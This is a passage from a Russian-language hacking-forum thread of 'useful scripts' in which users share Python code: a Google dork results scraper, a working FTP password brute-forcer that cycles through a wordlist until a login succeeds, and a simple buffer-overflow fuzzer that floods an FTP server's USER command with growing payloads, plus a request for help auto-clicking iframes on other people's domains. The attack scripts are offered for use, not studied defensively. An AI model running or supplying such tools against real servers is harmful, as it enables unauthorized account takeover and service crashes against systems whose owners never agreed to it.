Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. ZodiaX

    ZodiaX Reservists Of Antichat

    Joined:
    7 May 2009
    Messages:
    533
    Likes Received:
    308
    Reputations:
    51
    Code:
    from bs4 import BeautifulSoup
    import requests                                                                                                                                                                                                  
    
    dork = 'vk'                   #поисковой запрос
    li = 20                       #number page 10,20,30,...etc
    def googlesearch(searchfor):
        for lis in range(li):
            if (lis%10):
                link = 'https://www.google.com/search?q=%s&ie=utf-8&oe=utf-8&start=%d' % (searchfor, lis)                                                                                                                           
                ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0'}                                                              
                payload = {'q': searchfor}                                                                                                                                                                                   
                response = requests.get(link, headers=ua, params=payload)                                                                                                                                                    
    
                soup = BeautifulSoup(response.text, 'html.parser')
                par = soup.find_all('h3', class_="r")
                for a in par:
                    print(a.find('a').get('href'))
                 
    googlesearch(dork)
    немного не то конечно, по сути парсинг урлов из гугловой выдачи, но может кому пригодится.
     
    #1161 ZodiaX, 2 Mar 2017
    Last edited: 2 Mar 2017
    artkar and crlf like this.
    1. artkar

      artkar Well-Known Member

      Joined:
      14 Nov 2016
      Messages:
      350
      Likes Received:
      331
      Reputations:
      6
      Спасибо, интересно.
       
      1. kriesrouge

        kriesrouge New Member

        Joined:
        15 Aug 2016
        Messages:
        3
        Likes Received:
        0
        Reputations:
        0
        люди добрые! подскажите пожалуйста - как сделать автоклик по айфрему не на своем домене. я уже выбился из сил =(
         
        1. qwaszx000

          qwaszx000 Member

          Joined:
          10 Feb 2018
          Messages:
          27
          Likes Received:
          14
          Reputations:
          7
          Вчера написал брутер фтп на питоне, может кому интересно будет код глянуть:
          Code:
          import socket
          import sys
          import time
          user = input("user to brute:")
          ip = input("ip of ftp serv:")
          port = int(input("port(21 - standartly):"))
          spath = input("full path to slovar:")
          def login(u,p,h,prt):
           s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
           s.connect_ex((h,prt))
           time.sleep(0.01)
           r = s.recv(1024)
           s.send(("USER "+u+"\n\r").encode())
           time.sleep(0.01)
           r = s.recv(1024)
           s.send(("PASS "+p+"\r\n").encode())
           time.sleep(0.01)
           r = s.recv(1024).decode()
           r = r.split(" ")
           s.send("QUIT\r\n".encode())
           return int(r[0])#код ответа
          def get_pass(path):
           a = open(path,"r")
           r = a.read()
           r = r.split(" ")
           a.close()
           return r
          def brute(path,user,ip,port):
           pasws = get_pass(path)
           for i in pasws:
            if(login(user,i,ip,port)==230):
             sys.exit(user + " : " + i + " <-bruted!")
          print("starting...")
          brute(spath,user,ip,port)
          sleep'ы нужны, без них сервер не успевает ловить и обрабатывать отправленные ему пакеты.
          Делал не используя ftp библиотек, чтоб понять протокол, да и полезнее так писать(ИМХО).

          Есть у кого пример работы с socks4/5 проксями?
           
          #1164 qwaszx000, 3 May 2018
          Last edited: 3 May 2018
          1. qwaszx000

            qwaszx000 Member

            Joined:
            10 Feb 2018
            Messages:
            27
            Likes Received:
            14
            Reputations:
            7
            Code:
            import socket
            import sys
            import time
            ip = input("ip:")
            port = int(input("port:"))
            buf = 'x41'*500#50 'A'
            while 1:
             s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
             if(s.connect_ex((ip,port))==-1):
              sys.exit("can't connect. \nMay be host have buffer owerflow vulneriable!\nLast buf len:"+len(buf))
             r = s.recv(1024)
             time.sleep(6)
             print("sending buf with len:"+str(len(buf)))
             if(port == 21):
              u = b"USER "+buf.encode()+b"\r\n"
             else:
              u = buf.encode()
             s.send(u)
             s.close()
             buf = buf + 'x41'*500
            простой фаззер проверки переполнения буфера на питоне.